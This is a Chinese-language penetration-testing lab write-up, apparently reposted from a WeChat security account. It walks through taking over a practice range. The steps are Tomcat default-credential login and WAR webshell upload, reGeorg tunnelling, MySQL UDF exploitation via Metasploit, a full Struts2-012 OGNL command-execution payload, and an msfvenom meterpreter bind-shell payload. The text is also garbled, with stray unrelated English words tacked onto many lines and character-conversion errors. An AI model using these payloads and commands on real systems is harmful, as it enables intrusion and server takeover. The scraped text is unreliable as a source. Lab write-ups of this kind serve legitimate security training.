記一次綜合實驗靶場練習

前兩天朋友分享了一個實驗靶場,感受環境還不錯,因而對測試過程進行了詳細記錄,靶場中涉及知識點總結以下:
css


  • War包製做java

  • regeorg內網代理工具的使用mysql

  • UDF漏洞利用linux

  • Struts2-012漏洞利用nginx

  • Msfvenom模塊的使用git



本次實驗靶場的網絡拓撲結構以下圖所示:github


01web


獲取web據點sql



首先訪問朋友給定的web服務器端口,爲tomcat應用的默認頁面,以下圖所示:shell



若是剛開始沒有思路的話,能夠百度搜索一下Tomcat示例頁面相關漏洞狀況。 訪問目標manager後臺目錄,嘗試tomcat默認口令tomcat/tomcat進行登陸:




登陸成功以後,tomcat管理後臺有個部署war包的功能,能夠經過上傳war包getshell,獲取服務器權限。



在攻擊機kali中生成war包後門,能夠用本身的木馬,也可以使用kali自帶webshell, 默認路徑:/usr/share/laudanum/

jar cvf shell.war xx.jsp



在WAR file to deploy 功能處上傳並部署後門war包,單擊選擇文件,選擇生成的war文件並肯定,點擊擊deploy按鈕就完成了上傳。
驗證是否上傳成功,瀏覽器訪問注意事項:根目錄+war包文件名+jsp webshell文件名
好比我上傳了的war包名爲cmd.war,木馬名爲:cmd.jsp
在瀏覽器地址欄中:hxxp://x.x.x.x/cmd/cmd.jsp     



接下是鏈接上傳的jsp一句話,使用C刀鏈接目標服務器的jsp木馬
下載地址: https://github.com/Chora10/Cknife   可自行編譯或者下載網上的程序虛擬機裏執行。



菜刀成功鏈接後,會以樹狀形式顯示webshell文件所處位置,以下圖所示




02


添加代理



拿下web邊界機之後,通常狀況下,分兩種狀況:

  • 有內網:以此爲跳板,攻擊內網其餘機器,摸清目標內網拓撲環境,拿下靶標系統;

  • 無內網:若是是項目,就能夠收工了,不是的話,就能夠做爲代理池的一部分;



下面的狀況屬於有內網的環境,查看本機IP地址,發現兩個網卡都有內網地址。


目標web服務器並沒有探測主機存活的工具,兩種方式:


  • 本身上傳端口掃描工具||腳本

  • 使用隧道代理工具,代理本身的工具進入目標內網中,作初步的信息蒐集。


此處選擇第二種方式,上傳regeorg程序的tunnel.jsp腳本到目標服務器的shell目錄下



web訪問返回鏈接成功的信息(Georg says,’All seems fine’)   以下圖所示,此爲該工具流量硬特徵,建議在下載後修改該字符串,或者使用升級版的neo-regeorg

https://github.com/L-codes/Neo-reGeorg      去特徵且傳輸加密


使用regeorg工具創建隧道,命令以下:
Python regeorgsocksproxy.py -u hxxp://x.x.x.x/tunnel.jsp -p xxxx

-u 代理木馬連接;

-p指定傳輸端口;



在proxychains工具配置文件下添加regeorg打通的代理端口
vim /etc/proxychains.conf        在最後一行添加regeorg的配置好的傳輸端口便可



代理nmap到內網掃描172網段敏感端口,使用TCP全鏈接掃描
一些Nmap使用語法: http://mang0.me/archis/40a439a4/



03


UDF漏洞利用



經過掃描獲得的MySQL應用信息,嘗試弱口令鏈接,同樣的思路哪一個應用不會搜索哪裏




查看security_file_priv是否配置命令:

show variables like '%secure%';

顯示結果對應解釋


Secure_file_priv=null //不容許導入導出文件Secure_file_priv='D:/'  //容許導入到指定目錄Secure_file_priv=‘’ //容許到任意目錄Secure_file_priv=」/」 //容許到根目錄



發現爲空能夠寫任意目錄,使用proxychains將msf代理到目標內網中,利用MySQL的UDF漏洞進行命令執行。



若是忘記模塊,能夠先search 須要的模塊內容關鍵字
Use exploit/multi/mysql/mysql_udf_payload
查看未設置的參數   show  options

Password和rhost參數能夠設置   

      


Set rhost 172.16.15.16Set password 123456 run



雖然顯示沒有會話,可是so文件已經傳上去了,使用默認的MySQL命令鏈接,執行自定義函數,成功執行,說明udf提權成功。



04


S2-012漏洞利用



代理nmap到內網掃描10網段機器敏感端口



發現10.10.60.250:8080存在struts2-012漏洞



Struts2-012 payload 測試


%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","-al"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }


成功讀取/etc/passwd文件



10.10.60.66和172.16.15.16同樣的思路。



弱口令:admin/password




上傳菜刀的jsp木馬



使用蟻劍服務器管理工具鏈接成功




Msf生成Linux木馬

msfvenom -p linux/x86/meterpreter/bind_tcp rhost=10.10.60.66 lport=1234 -f elf > shell.elf



生成完成後將該木馬程序上傳到目標服務器的web目錄下,賦予權限,在msf中開啓監聽模塊,執行程序,便可拿到會話
設置msf下handler模塊必要的參數

set payload linux/x86/meterpreter/bing_tcpSet rhost 10.10.60.66Set lport 1234


exploit -j        後臺獲取會話Sessions 可查看會話 -i                進入該會話



本次實驗到此結束,經過弱口令並結合應用特性拿到主機權限,使用內網代理工具創建隧道,探測內網段端口及對應漏洞,拿下對應主機權限。
最後若是以爲對本身有幫忙的,能夠點個在看,關注一手,謝謝師傅們閱讀。



- 往期推薦 -



靶場攻略-DC6

Moriarty Corp靶場攻略

某大學滲透測試實戰靶場報告-Part1

某大學滲透測試實戰靶場報告-Part2


【推薦書籍】

本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索